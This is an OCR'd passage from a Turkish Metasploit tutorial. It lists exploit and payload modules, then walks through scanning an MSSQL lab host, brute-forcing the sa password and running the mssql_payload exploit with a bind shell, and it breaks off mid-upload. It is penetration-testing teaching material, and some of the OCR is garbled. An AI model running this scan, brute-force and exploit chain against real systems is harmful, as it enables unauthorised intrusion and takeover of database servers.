Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE

sqli/oracle/dbms_cdc_publish2 2010-04-26 normal Oracle DB SQL
Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE

sqli/oracle/dbms_cdc_publish3 2010-10-13 normal Oracle DB SQL
Injection via SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET

sqli/oracle/dbms_cdc_subscribe_activate_subscription 2005-04-18 normal Oracle DB SQL
Injection via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION

sqli/oracle/dbms_export_extension 2006-04-26 normal Oracle DB SQL
Injection via DBMS_EXPORT_EXTENSION

sqli/oracle/dbms_metadata_get_granted_xml 2008-01-05 normal Oracle DB SQL
Injection via SYS.DBMS_METADATA.GET_GRANTED_XML

sqli/oracle/dbms_metadata_get_xml 2008-01-05 normal Oracle DB SQL
Injection via SYS.DBMS_METADATA.GET_XML

sqli/oracle/dbms_metadata_open 2008-01-05 normal Oracle DB SQL
Injection via SYS.DBMS_METADATA.OPEN

sqli/oracle/droptable_trigger 2009-01-13 normal Oracle DB SQL
Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger

sqli/oracle/jvm_os_code_106g 2010-02-01 normal Oracle DB 10gR2,
11gR1/R2 DBMS_JVM_EXP_PERMS 0S Command Execution

sqli/oracle/jvm_os_code_11g 2010-02-01 normal Oracle DB 11g
R1/R2 DBMS_JVM_EXP_PERMS 0S Code Execution

sqli/oracle/1t_compressworkspace 2008-10-13 normal Oracle DB SQL
Injection via SYS.LT.COMPRESSWORKSPACE

sqli/oracle/1t_findricset_cursor 2007-10-17 normal Oracle DB SQL
Injection via SYS.LT.FINDRICSET Evil Cursor Method

sqli/oracle/1lt_mergeworkspace 2008-10-22 normal Oracle DB SQL
Injection via SYS.LT.MERGEWORKSPACE
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sqli/oracle/1t_removeworkspace 2008-10-13 normal Oracle DB SQL
Injection via SYS.LT.REMOVEWORKSPACE

sqli/oracle/1t_rollbackworkspace 2009-05-04 normal Oracle DB SQL
Injection via SYS.LT.ROLLBACKWORKSPACE

voip/asterisk_login normal Asterisk Manager
Login Utility

voip/sip_invite_spoof normal SIP Invite Spoof

vsploit/malware/dns/dns_mariposa normal VSploit Mariposa
DNS Query Module

vsploit/malware/dns/dns_query normal VSploit DNS
Beaconing Emulation

vsploit/malware/dns/dns_zeus normal VSploit Zeus DNS
Query Module

vsploit/pii/email_piti normal VSploit Email PII

vsploit/pii/web_pii normal VSploit Web PII

msf > show payloads

windows/upexec/reverse_nonx_tcp normal Windows Upload/Execute,
Reverse TCP Stager (No NX or Win7)

windows/upexec/reverse_ord_tcp normal Windows Upload/Execute,
Reverse Ordinal TCP Stager (No NX or Win7)

windows/upexec/reverse_tcp normal Windows Upload/Execute,
Reverse TCP Stager

windows/upexec/reverse_tcp_allports normal Windows Upload/Execute,
Reverse All-Port TCP Stager

windows/upexec/reverse_tcp_dns normal Windows Upload/Execute,
Reverse TCP Stager (DNS)

windows/vncinject/bind_1ipv6_tcp normal VNC Server (Reflective
Injection), Bind TCP Stager (IPv6)

windows/vncinject/bind_nonx_tcp normal VNC Server (Reflective
Injection), Bind TCP Stager (No NX or Win7)

windows/vncinject/bind_tcp normal VNC Server (Reflective
Injection), Bind TCP Stager

windows/vncinject/find_tag normal VNC Server (Reflective
Injection), Find Tag Ordinal Stager

windows/vncinject/reverse_http normal VNC Server (Reflective
Injection), Reverse HTTP Stager

windows/vncinject/reverse_ipv6_http normal VNC Server (Reflective
Injection), Reverse HTTP Stager (IPv6)

windows/vncinject/reverse_ipvé6_tcp normal VNC Server (Reflective
Injection), Reverse TCP Stager (IPv6)

windows/vncinject/reverse_nonx_tcp normal VNC Server (Reflective
Injection), Reverse TCP Stager (No NX or Win7)

windows/vncinject/reverse_ord_tcp normal VNC Server (Reflective
Injection), Reverse Ordinal TCP Stager (No NX or Win7)

windows/vncinject/reverse_tcp normal VNC Server (Reflective
Injection), Reverse TCP Stager

windows/vncinject/reverse_tcp_allports normal VNC Server (Reflective
Injection), Reverse All-Port TCP Stager

windows/vncinject/reverse_tcp_dns normal VNC Server (Reflective

Injection), Reverse TCP Stager (DNS)
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windows/x64/exec normal Windows x64 Execute
Command

windows/x64/loadlibrary normal Windows x64 LoadlLibrary
Path

windows/x64/meterpreter/bind_tcp normal Windows x64
Meterpreter, Windows x64 Bind TCP Stager

windows/x64/meterpreter/reverse_tcp normal Windows x64
Meterpreter, Windows x64 Reverse TCP Stager

windows/x64/shell/bind_tcp normal Windows x64 Command
Shell, Windows x64 Bind TCP Stager

windows/x64/shell/reverse_tcp normal Windows x64 Command
Shell, Windows x64 Reverse TCP Stager

windows/x64/shell_bind_tcp normal Windows x64 Command
Shell, Bind TCP Inline

windows/x64/shell_reverse_tcp normal Windows x64 Command
Shell, Reverse TCP Inline

windows/x64/vncinject/bind_tcp normal Windows x64 VNC Server
(Reflective Injection), Windows x64 Bind TCP Stager

windows/x64/vncinject/reverse_tcp normal Windows x64 VNC Server

(Reflective Injection), Windows x64 Reverse TCP Stager

msf > show options

Global Options:

Option Current Setting Description

ConsolelLogging Log all console input and output

LogLevel Verbosity of logs (default 0, max 5)

MinimumRank The minimum rank of exploits that will run without explicit
confirmation

Prompt The prompt string, defaults to "msf"

PromptChar The prompt character, defaults to ">"

PromptTimeFormat A format for timestamp escapes in the prompt, see ruby's
strftime docs

SessionLogging Log all input and output for sessions

TimestampOutput Prefix all console output with a timestamp

Show Komutu Kullanimi — Moddilleri Gortintiileme

Metasploit Framework modullerin galismalari, ortak bilgilerin depolanmasi ve
paylasiimasi icin veritabani destegi gerekmektedir. Metasploit Framework'te PostgreSQL
veritabani destedi bulunmaktadir; veritabani baglantisi icin de gerekli tanimlamalar
yapilmali, veritabanindaki verilere erismek ve kullanim igin de komutlar girilmelidir.
Veritabani baglantisi db_connect komutu ile saglanir, verilecek parametreler ile
veritabanina baglanir ve veritabani yapisini olusturur. Bu noktada kullanilacak
PostgreSQL kullanici ve parolasi, veritabani sunucusunda tanimlanmali ve kullanilacak
veritabani yaratilarak gerekli haklar verilmelidir. Metasploit Framework, connect komutu
ilk verildiginde, veritabani igin gerekli tablolari yaratmakta ve duzenlemeleri yapmaktadir.
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Ornekte PostgreSQL kullanicisi olarak postgres, parola olarak msf123, veritabani
sunucusu olarak 127.0.0.1 adresindeki sunucu ve veritabani olarak ise metatest
kullaniimsgtir.

msf > db_connect postgres:msf123@127.0.0.1:/metatest

NOTICE: CREATE TABLE will create implicit sequence "module_refs_id_seq" for serial
column "module_refs.id"

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "module_refs_pkey" for
table "module_refs"

NOTICE: CREATE TABLE will create implicit sequence "module_archs_id_seq" for serial
column "module_archs.id"

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "module_archs_pkey" for
table "module_archs"

NOTICE: CREATE TABLE will create implicit sequence "module_platforms_id_seq" for serial
column "module_platforms.id"

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "module_platforms_pkey"
for table "module_platforms"

NOTICE: CREATE TABLE will create implicit sequence "exploit_attempts_id_seq" for serial
column "exploit_attempts.id"

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "exploit_attempts_pkey"
for table "exploit_attempts"

[*] Rebuilding the module cache in the background...

msf > db_status
[*] postgresgl connected to metatest

Metasploit Framework igin Veritabani Baglantisi

Veritabani baglantisinin kesilmesi igin db_disconnect, bir glivenlik denetimi yaziliminin
ciktilarini veritabanina kaydetmek igin db_import, veritabanindaki kayitlari ve islemleri
bir dosyaya kaydetmek igcin db_export komutlari kullanilabilir. Veritabani baglantisini
ilgilendiren tim komutlar agsagida listelenmistir. Veritabani Uzerinde yer alan verilerle
calismak ve exploit asamasinda kullanimi ilerleyen bolumlerde antilacaktir.

Database Backend Commands

Command Description

creds List all credentials in the database
db_connect Connect to an existing database

db_disconnect Disconnect from the current database instance
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db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache

db_status Show the current database status

hosts List all hosts in the database

loot List all loot in the database

notes List all notes in the database

services List all services in the database

vulns List all vulnerabilities in the database

workspace Switch between database workspaces

Veritabani Erigimi igin Gerekli Komutlar

Metasploit Framework genel kullanimi i¢in gerekli olan komutlarin tam listesi igin ise
help komutu kullanilabilir.

msf > help
Core Commands
Command Description
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
exit Exit the console
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
popm Pops the latest module off of the module stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
quit Exit the console
reload_all Reloads all modules from all defined module paths
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
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sessions Dump session listings and display information about sessions
set Sets a variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers

Database Backend Commands
Command Description
creds List all credentials in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
Metasploit Framework i¢in Gerekli Temel Komutlar
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2.2 Calisma Alani Yaratilmasi ve Kullanimi

Bir calisma alani secilmemesi durumunda, tim calismalar default isimli calisma alanina
kaydedilecektir. Her denetim islemi igin farkli ¢alisma alanlari yaratmak ve bu bilgileri
dizenli tutmak denetimi ve raporlamasini kolaylastiracaktir. Calisma alani iglemleri igin
workspace komutu kullanilabilir. Ornekte test amach bir calisma alani yaratiliyor ve

uzerinde ¢alisiimaya baglaniyor.

Usage:
workspace
workspace
workspace
workspace
workspace
workspace

default
* test

msf > workspace -h

[name]

-a [name] ...
-d [name] ...
-r <old> <new>
-h

msf > workspace -a test
[*] Added workspace: test
msf > workspace

List workspaces

Switch workspace

Add workspace(s)

Delete workspace(s)

Rename workspace

Show this help information

Calisma Alani Komutlari

Calisma alanina veri aktarimi igin db_import komutu kullanilabilir, birgok otomatize
denetim yazilimi ve ag aracinin raporlarini veritabanina aktarabilmektedir. Ornek
kullanim ve bir Nmap port tarama aracinin ¢iktisinin veritabanina aktarimi asagida yer

almaktadir.

Amap Log

msf > db_import -h
Usage: db_import <filename> [file2...]

Amap Log -m
Appscan XML

Burp Session XML
Foundstone XML
IP360 ASPL

IP360 XML v3
Microsoft Baseline Security Analyzer

Filenames can be globs like *.xml, or **/* xml which will search recursively
Currently supported file types include:
Acunetix XML
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Nessus NBE

Nessus XML (v1 and v2)
NetSparker XML
NeXpose Simple XML
NeXpose XML Report
Nmap XML

OpenVAS Report

Qualys Asset XML
Qualys Scan XML
Retina XML

msf > db_import /tmp/nmap_test_ciktisi.xml
Importing 'Nmap XML' data

*

Importing host 192.168.1.22

— oo
—

*

Successfully imported /tmp/nmap_test_ciktisti.

Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'

xml

Calisma Alanina Ornek Bir Nmap Ciktisi Aktarimi

Calisma alanina aktarilan verileri géruntulemek, duzenlemek ve daha sonraki testlerde

hedef olarak belirlemek icin hosts, services, vulns,

loot ve notes komutlar

kullanilabilir. Yapilacak testlerde ele gegirilen bilgiler ve modduillerin giktilari da ¢alisma

alanina duzenli bicimde aktarilacaktir.

msf > hosts

Hosts
address mac name os_name
192.168.1.22 00:0C:29:DC:38:09 Microsoft

msf > services

Services

host port proto name state
192.168.1.22 25 tcp smtp open
192.168.1.22 80 tcp http open
192.168.1.22 135 tcp mSrpc open
192.168.1.22 139 tcp netbios-ssn open
192.168.1.22 443  tcp open
192.168.1.22 445  tcp microsoft-ds  open
192.168.1.22 1025 tcp mSrpc open

os_flavor os_sp purpose

Windows 2003 device

info

Microsoft ESMTP 6.0.2600.2180
Microsoft IIS webserver 5.1
Microsoft Windows RPC

Microsoft Windows XP microsoft-ds

Microsoft Windows RPC
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192.168.1.22 1433 tcp ms-sql-s open  Microsoft SQL Server 2000 8.00.766;
SP3a
192.168.1.22 3389 tcp microsoft-rdp open Microsoft Terminal Service

msf > notes

[*] Time: Thu Jul 12 17:13:19 UTC 2012 Note: host=192.168.1.22 type=host.imported
data={:type=>"Nmap XML", :filename=>"/tmp/nmap_test_ciktisi.xml", :time=>Thu Jul 12
17:13:19 UTC 2012}

[*] Time: Thu Jul 12 17:13:19 UTC 2012 Note: host=192.168.1.22
type=host.os.nmap_fingerprint data={:o0s_match=>"Microsoft Windows XP Professional SP2 or
Windows Server 2003", :os_vendor=>"Microsoft", :os_family=>"Windows",
:os_version=>"2003", :o0s_accuracy=>"100"}

[*] Time: Thu Jul 12 17:13:19 UTC 2012 Note: host=192.168.1.22 type=host.nmap.traceroute
data={"hops"=>[{"rtt"=>0.59, "ttl"=>1, "address"=>"192.168.1.22", "name"=>""}],
"proto"=>"", "port"=>0}

Calisma Alanindaki Verilerin Géruntllenmesi
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2.3 Modiillerin Kullanimi

Bir modulun kullanimi igin ise use komutu kullanilir ve parametre olarak modul ismi
verili. Modulin agiklamasi, referanslari ve cgalistirma igin kullanilabilir seg¢eneklerin
gorintilemek icin info komut kullanilir. Modul kullaniminda segenek tanimlamasi igin ise
set ve unset kullanilir, segeneklerin tim moddller i¢in gecgerli olmasi igin ise setg ve
unsetg kullanilir. Komutlarin verilmesi esnasinda “tab” tusuna iki kere basilmasi
durumunda, mUmkun olan sonuglar i¢cin komut tamamlanir veya muhtemel segenekler
listelenenbilir.

Asagidaki ornekte Microsoft SQL veritabani sunucularin varliginin saptanmasi ve
bilgilerinin alinmasi amaciyla bir auxiliary modulin kullanimi goérulmektedir. Modul
calistiginda verilen IP araliginda yeralan Microsoft SQL sunucularini ve servis bilgilerini
cikti olarak uretecektir. Modulin test edecegdi IP arali§i icin RHOSTS, eszamanl test
sayisi icin de THREADS secenegi tanimlanacak ve modil run komutulu ile
calistirilacaktir.

msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > info

Name: MSSQL Ping Utility
Module: auxiliary/scanner/mssql/mssql_ping
Version: 14774
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
MC <mc@metasploit.com>

Basic options:

Name Current Setting Required Description

PASSWORD no The password for the specified
username

RHOSTS yes The target address range or CIDR
identifier

THREADS 1 yes The number of concurrent threads

USERNAME sa no The username to authenticate as

USE_WINDOWS_AUTHENT false yes Use windows authentification (requires

DOMAIN option set)

Description:
This module simply queries the MSSQL instance for information.
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msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.21-22
RHOSTS => 192.168.1.21-22

msf auxiliary(mssql_ping) > set THREADS 10

THREADS => 10

msf auxiliary(mssql_ping) > run

[*] sSQL Server information for 192.168.1.22:
[*] Scanned 1 of 2 hosts (050% complete)

[+] InstanceName = MSSQLSERVER

[+] IsClustered = No

[+] np = \\HACMEONE\pipe\\sql\query
[+] Version = 8.00.194

[+] ServerName = HACMEONE

[+] tcp = 1433

[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed

Ornek Auxiliary Modl Kullanimi : Microsoft SQL Ping

Goruldagu Uzere modul galistt ve 192.168.1.22 IP adresinde bir adet Microsoft SQL
veritabani sunucusu buldu. Sunucunun adi HACMEONE, portu 1433, strimunin
8.00.194 ve kumelenmemis oldugunu goéruyoruz. Elde ettigimiz bilgiler sonrasinda
calistiracagimiz modiillerde faydali olacaktir; surim bilgisi dogru SQL guvenlik agiginin
saptanmasi, sunucu adi ve portu ise exploit'in calisabilmesi igin kullanilacaktir.

Asagidaki ornek ise Microsoft SQL veritabani sunucusuna kullanici ve parola denemesi
yapabilen bir moduldur. Modulun galigabilmesi igin kullanici ve parola dosyalari verilmesi
gerekmektedir; PASS_FILE sadece parola, USER_FILE sadece kullanici,
USERPASS_FILE ise hem kullanici hem parola igceren dosyalari tanimlamak igin
kullanilabilecek degiskenlerdir. Bizim érnegimizde Microsoft SQL veritabani sunucusu
icin varsayllan hesap olan SA hesabina parola denemesi yapilacaktir ve Metasploit
Framework ile dagitilan bir parola dosyasi kullanilacaktir.

msf > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login) > info

Name: MSSQL Login Utility
Module: auxiliary/scanner/mssql/mssql_login
Version: 14976
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
MC <mc@metasploit.com>
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Basic options:
Name Current Setting
Required Description

BLANK_PASSWORDS true no
Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes
How fast to bruteforce, from 0 to 5

PASSWORD no
A specific password to authenticate with

PASS_FILE Jopt/tools/msframework/data/wordlists/unix_passwords.txt no
File containing passwords, one per line

RHOSTS 192.168.1.22 yes
The target address range or CIDR identifier

RPORT 1433 yes
The target port

STOP_ON_SUCCESS false yes
Stop guessing when a credential works for a host

THREADS 1 yes
The number of concurrent threads

USERNAME sa no
A specific username to authenticate as

USERPASS_FILE no
File containing users and passwords separated by space, one pair per line

USER_AS_PASS true no
Try the username as the password for all users

USER_FILE no
File containing usernames, one per line

USE_WINDOWS_AUTHENT false yes
Use windows authentification (requires DOMAIN option set)

VERBOSE true yes

Whether to print output for all attempts

Description:
This module simply queries the MSSQL instance for a specific
user/pass (default is sa with blank).

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0506

msf auxiliary(mssql_login) > set PASS_FILE /opt/msf/data/wordlists/unix_passwords.txt
PASS_FILE => /[opt/tools/msframework/data/wordlists/unix_passwords.txt

msf auxiliary(mssql_login) > set RHOSTS 192.168.1.22

RHOSTS => 192.168.1.22

msf auxiliary(mssql_login) > run

[*] 192.168.1.22:1433 - MSSQL - Starting authentication scanner.
[*] 192.168.1.22:1433 MSSQL - Trying username:'sa' with password:''
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192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.

.22:1433 MSSQL - failed to login as 'sa'

.22:1433 MSSQL - Trying username:'sa' with password:
.22:1433 MSSQL - failed to login as 'sa'

.22:1433 MSSQL - Trying username:'sa' with password:'123456'
.22:1433 MSSQL - failed to login as 'sa'

.22:1433 MSSQL - Trying username:'sa' with password:'12345'
.22:1433 MSSQL - failed to login as 'sa'

.22:1433 MSSQL - Trying username:'sa' with password:'123456789'
.22:1433 MSSQL - failed to login as 'sa'

.22:1433 MSSQL - Trying username:'sa' with password:'password'
192.168.1.22:1433 - MSSQL - successful login 'sa' : 'password'

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed

*

Sa

*

*

%

+ %
P R R R R R R R R R R R

* X

L B T e B e B e T e B e B e B e T e B e B e B |
1
e e hd b

Ornek Auxiliary Modil Kullanimi : Microsoft SQL Kullanici/Parola Denemesi

iki yardimeci moddiliin calismasi sonucunda 192.168.1.22 IP adresinde bir Microsoft SQL
veritabani sunucusu bulundugu ve veritabani yoneticisi olan SA hesabinin parolasinin
PASSWORD oldugu 6grenildi.

Yardimci araglarin guvenlik acigi taramasi ile elde ettigimiz bilgileri kullanarak
veritabanina sizmak icin exploit modullerinden biri kullanilabilir. Microsoft SQL veritabani
sunucusunda komut calistirabilmek ve kabuk baglamak i¢in uygun modul secilmelidir.
search komutu ile yapilacak bir arama sonucunda amaca uygun olabilecek bir modul
bulunabilir.

msf exploit(mssql_payload) > search mssql

Matching Modules

Name Disclosure Date
Rank Description

auxiliary/admin/mssql/mssql_enum

normal Microsoft SQL Server Configuration Enumerator
auxiliary/admin/mssql/mssql_exec

normal Microsoft SQL Server xp_cmdshell Command Execution
auxiliary/admin/mssql/mssql_1idf

normal Microsoft SQL Server - Interesting Data Finder
auxiliary/admin/mssql/mssql_sql

normal Microsoft SQL Server Generic Query

auxiliary/analyze/jtr_mssql fast
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normal John the Ripper MS SQL Password Cracker (Fast Mode)
auxiliary/scanner/mssql/mssql_hashdump
normal MSSQL Password Hashdump

auxiliary/scanner/mssql/mssql_login
normal MSSQL Login Utility

auxiliary/scanner/mssql/mssql_ping
normal MSSQL Ping Utility

auxiliary/scanner/mssql/mssql_schemadump

normal MSSQL Schema Dump
exploit/windows/iis/msadc Fri Jul 17 00:00:00 UTC
1998 excellent Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution
exploit/windows/mssql/lyris_listmanager_weak_pass Thu Dec 08 00:00:00 UTC
2005 excellent Lyris ListManager MSDE Weak sa Password
exploit/windows/mssql/ms02_039_slammer Wed Jul 24 00:00:00 UTC
2002 good Microsoft SQL Server Resolution Overflow
exploit/windows/mssql/ms02_056_hello Mon Aug 05 00:00:00 UTC
2002 good Microsoft SQL Server Hello Overflow
exploit/windows/mssql/ms09_004_sp_replwritetovarbin Tue Dec 09 00:00:00 UTC
2008 good Microsoft SQL Server sp_replwritetovarbin Memory Corruption

exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli Tue Dec 09 00:00:00 UTC
2008 excellent Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL

Injection
exploit/windows/mssql/mssql_payload Tue May 30 00:00:00 UTC
2000 excellent Microsoft SQL Server Payload Execution
exploit/windows/mssql/mssql_payload_sqli Tue May 30 00:00:00 UTC

2000 excellent Microsoft SQL Server Payload Execution via SQL Injection

Test igin Ozel Modiil Arama

Siradaki 6rnekte, Microsoft SQL veritabani sunucusunda gecerli bir kullanici araciligiyla
sistemde kabuk kodu calistirarak yetkisiz erisim saglayan
exploit/'windows/mssql/mssql_payload modult kullanilacaktir. Exploit moddallerinin
kullaniminda birgok galistirma segenegi tanimlanmalidir, hatali bir se¢im veya segenek
kullanimi servisin veya sunucunun durmasina neden olabilmektedir.

Secgenekler arasinda yeralan RHOST, RPORT secenekleri hedef servisin IP adresi ve
portunu ifade etmektedir. Ayrica exploit'in tirine ve kullanima bagli olarak ¢ok sayida ek
secenek tanimlanmasi gerekebilir. show options komutu ile tanimh segenekler ve
tanimlanmasi gereken secgenekler gorulecektir.

Exploit'in ¢alisabilmesi icin, hedef servise erisim secenekleri disinda hedef tanimlamasi
da gerekecektir. Exploit'i hazirlanan guvenlik agigi, bir veya birden fazla yazilimin, eski
ve yeni sturimlerini etkileyebilir. Hedeflenen yazilimin farkli platformlarda ¢alismasi, farkh
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islemci mimarilerinde calisabilmesi ve birgok suriumuntn aciktan etkilenmesi s6zkonusu
ise farkll hedef turleri de olusacaktir. Exploit'in hazirlanmasi asamasinda, gecerli olacak
yazilim ve surumleri belirtilen ifadeler hedeflerdir, show targets komutu ile gecerli
hedefler gorllebilir. Karsilagilacak Automatic secenegi ise exploitin hazirlanma
asamasinda, servisteki bir parmak izini esas alarak kendi hedef degerini secebilecegi
anlamina gelir. Her kosulda saglikli calismayabilir, sadece hedef servis hakkinda detayli
bilgiye erisilemediginde tercih edilmelidir. Aksi durumda hatali bir bellek adresi ve
referans kullanilir, sonugta ise servisin veya sunucunun servis engelleme saldirisina
ugramasi sdzkonusu olabilir.

Exploit kullanim agsamasinda bir diger 6nemli bilgi ise Payload sec¢imidir, genel komutlar
arasinda yeralan show payloads komutu bir exploit se¢cimi esnasinda sadece uyumlu
payload'lan listeler. Bir exploit ¢alistirimadan énce PAYLOAD degiskeni tanimlanmall,
hedefin ele gegirilebilmesi i¢in gegerli payload seg¢enekleri de tanimlanmalidir.

Secgeneklerin tamamlanmasi ardindan exploit komutu ile exploit galistirilabilir, istenmesi
durumunda ek segenekler kullanilarak iglem arka plana atilabilir veya gelen kabuk kodu
baglantisina iletisim igin temas edilmemesi istenebilir. Exploit islemi oncesinde, eger
modul destekliyorsa check komutu ile bir 6n test uygulanabilir, ancak birgok modulde bu
dzellik bulunmamaktadir. Ornegimizde dogrudan exploit komutu verilmis ve sonug
gOsterilmigtir.

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > info

Name: Microsoft SQL Server Payload Execution
Module: exploit/windows/mssql/mssql_payload
Version: 14774
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
David Kennedy "RelL1K" <kennedyd013@gmail.com>
jduck <jduck@metasploit.com>

Available targets:
Id Name

0 Automatic

Basic options:
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Name Current Setting Required Description

METHOD cmd yes Which payload delivery method to use
(ps, cmd, or old)

PASSWORD no The password for the specified
username

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME sa no The username to authenticate as

USE_WINDOWS_AUTHENT false yes Use windows authentification (requires

DOMAIN option set)
Payload information:

Description:
This module executes an arbitrary payload on a Microsoft SQL Server
by using the "xp_cmdshell" stored procedure. Currently, three
delivery methods are supported. First, the original method uses
Windows 'debug.com'. File size restrictions are avoidied by
incorporating the debug bypass method presented by SecureStat at
Defcon 17. Since this method invokes ntvdm, it is not available on
x86_64 systems. A second method takes advantage of the Command
Stager subsystem. This allows using various techniques, such as
using a TFTP server, to send the executable. By default the Command
Stager uses 'wcsript.exe' to generate the executable on the target.
Finally, RelL1K's latest method utilizes PowerShell to transmit and
recreate the payload on the target. NOTE: This module will leave a
payload executable on the target system when the attack is finished.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0402
http://www.osvdb.org/557
http://www.securityfocus.com/bid/1281
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-1209
http://www.osvdb.org/15757
http://www.securityfocus.com/bid/4797

msf exploit(mssql_payload) > set RHOST 192.168.1.22
RHOST => 192.168.1.22

msf exploit(mssql_payload) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp

msf exploit(mssql_payload) > set PASSWORD PASSWORD
PASSWORD => PASSWORD
msf exploit(mssql_payload) > show targets

Exploit targets:
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Id Name
0 Automatic
msf exploit(mssql_payload) > show options
Module options (exploit/windows/mssql/mssql_payload):
Name Current Setting Required Description
METHOD cmd yes Which payload delivery method to use
(ps, cmd, or old)
PASSWORD PASSWORD no The password for the specified
username
RHOST 192.168.1.22 yes The target address
RPORT 1433 yes The target port
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification
(requires DOMAIN option set)
Payload options (windows/shell_bind_tcp):
Name Current Setting Required Description
EXITFUNC process yes Exit technique: process, seh, none, thread
LPORT 4444 yes The listen port
RHOST 192.168.1.22 no The target address

Id Name

OPTIONS:

-e <opt>
-f
-h
-]
-n <opt>
-0 <opt>
-p <opt>

Exploit target:

0 Automatic
msf exploit(mssql_payload) > exploit -h
Usage: exploit [options]

Launches an exploitation attempt.

The payload encoder to use. If none is specified, ENCODER is used.

Force the exploit to run regardless of the value of MinimumRank.
Help banner.

Run in the context of a job.

The NOP generator to use. If none is specified, NOP is used.

A comma separated list of options in VAR=VAL format.

The payload to use. 1If none is specified, PAYLOAD is used.
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-t <opt> The target index to use. If none is specified, TARGET is used.
-z Do not interact with the session after successful exploitation.

msf exploit(mssql_payload) > exploit
[*] Started bind handler
[*] Command Stager progress 1.47% done (1499/102246 bytes)
[*] Command Stager progress 2.93% done (2998/102246 bytes)
[*] Command Stager progress 4.40% done (4497/102246 bytes)
[*] Command Stager progress 5.86% done (5996/102246 bytes)
[*] Command Stager progress 7.33% done (7495/102246 bytes)
[*] Command Stager progress 8.80% done (8994/102246 bytes)
[*] Command Stager progress 10.26% done (10493/102246 bytes)
[*] Command Stager progress 11.73% done (11992/102246 bytes)
[*] Command Stager progress 13.19% done (13491/102246 bytes)
[*] Command Stager progress 14.66% done (14990/102246 bytes)
[*] Command Stager progress 16.13% done (16489/102246 bytes)
[*] Command Stager progress 17.59% done (17988/102246 bytes)
[*] Command Stager progress 19.06% done (19487/102246 bytes)
[*] Command Stager progress 20.53% done (20986/102246 bytes)
[*] Command Stager progress 21.99% done (22485/102246 bytes)
[*] Command Stager progress 23.46% done (23984/102246 bytes)
[*] Command Stager progress 24.92% done (25483/102246 bytes)
[*] Command Stager progress 26.39% done (26982/102246 bytes)
[*] Command Stager progress 27.86% done (28481/102246 bytes)
[*] Command Stager progress 29.32% done (29980/102246 bytes)
[*] Command Stager progress 30.79% done (31479/102246 bytes)
[*] Command Stager progress 32.25% done (32978/102246 bytes)
[*] Command Stager progress 33.72% done (34477/102246 bytes)
[*] Command Stager progress 35.19% done (35976/102246 bytes)
[*] Command Stager progress 36.65% done (37475/102246 bytes)
[*] Command Stager progress 38.12% done (38974/102246 bytes)
[*] Command Stager progress 39.58% done (40473/102246 bytes)
[*] Command Stager progress 41.05% done (41972/102246 bytes)
[*] Command Stager progress 42.52% done (43471/102246 bytes)
[*] Command Stager progress 43.98% done (44970/102246 bytes)
[*] Command Stager progress 45.45% done (46469/102246 bytes)
[*] Command Stager progress 46.91% done (47968/102246 bytes)
[*] Command Stager progress 48.38% done (49467/102246 bytes)
[*] Command Stager progress 49.85% done (50966/102246 bytes)
[*] Command Stager progress 51.31% done (52465/102246 bytes)
[*] Command Stager progress 52.78% done (53964/102246 bytes)
[*] Command Stager progress 54.24% done (55463/102246 bytes)
[*] Command Stager progress 55.71% done (56962/102246 bytes)
[*] Command Stager progress 57.18% done (58461/102246 bytes)
[*] Command Stager progress 58.64% done (59960/102246 bytes)
[*] Command Stager progress 60.11% done (61459/102246 bytes)
[*] Command Stager progress 61.58% done (62958/102246 bytes)
[*] Command Stager progress 63.04% done (64457/102246 bytes)
